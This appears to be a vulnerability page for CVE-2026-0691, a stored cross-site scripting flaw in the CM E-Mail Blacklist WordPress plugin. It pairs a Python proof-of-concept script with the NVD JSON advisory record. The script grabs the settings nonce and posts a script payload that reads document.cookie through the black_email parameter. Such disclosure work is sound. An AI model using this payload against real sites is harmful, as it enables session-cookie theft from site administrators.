CVE-2026-0691

# CVE-2026-0691 PoC - Stored XSS in CM E-Mail Blacklist # Target: WordPress site with CM E-Mail Blacklist plugin <= 1.6.2 # Attack requires: Administrator privileges import requests import re target_url = "http://target-wordpress-site.com" admin_url = f"{target_url}/wp-admin/admin.php?page=cm-email-blacklist-settings" # XSS payload - injected via black_email parameter xss_payload = "[email protected]<script>alert(document.cookie)</script>" # Authentication (requires admin session cookie) session = requests.Session() session.cookies.set('wordpress_admin_cookie', 'your_admin_cookie') # Step 1: Access plugin settings page response = session.get(admin_url) nonce = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text).group(1) # Step 2: Submit XSS payload via black_email parameter post_data = { '_wpnonce': nonce, 'black_email': xss_payload, 'cm_email_blacklist_save_settings': 'Save Changes' } response = session.post(admin_url, data=post_data) # The XSS is now stored and will execute when settings page is accessed

{"cve": {"id": "CVE-2026-0691", "sourceIdentifier": "[email protected]", "published": "2026-01-17T07:16:01.933", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CM E-Mail Blacklist – Simple email filtering for safer registration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'black_email' parameter in all versions up to, and including, 1.6.2. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin CM E-Mail Blacklist – Simple email filtering para safer registration para WordPress es vulnerable a Stored Cross-Site Scripting a través del parámetro 'black_email' en todas las versiones hasta la 1.6.2, inclusive. Esto se debe a una sanitización de entrada insuficiente y un escape de salida deficiente. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio y a instalaciones donde unfiltered_html ha sido deshabilitado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cm-email-blacklist/tags/1.6.2/backend/views/settings/email_blacklist.phtml#L67", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cm-email-blacklist/trunk/backend/views/settings/email_blacklist.phtml#L67", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3440158%40cm-email-blacklist&new=3440158%40cm-email-blacklist&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/821f4ea9-bc25-4d65-9058-5b77c4f1b230?source=cve", "source": "[email protected]"}]}}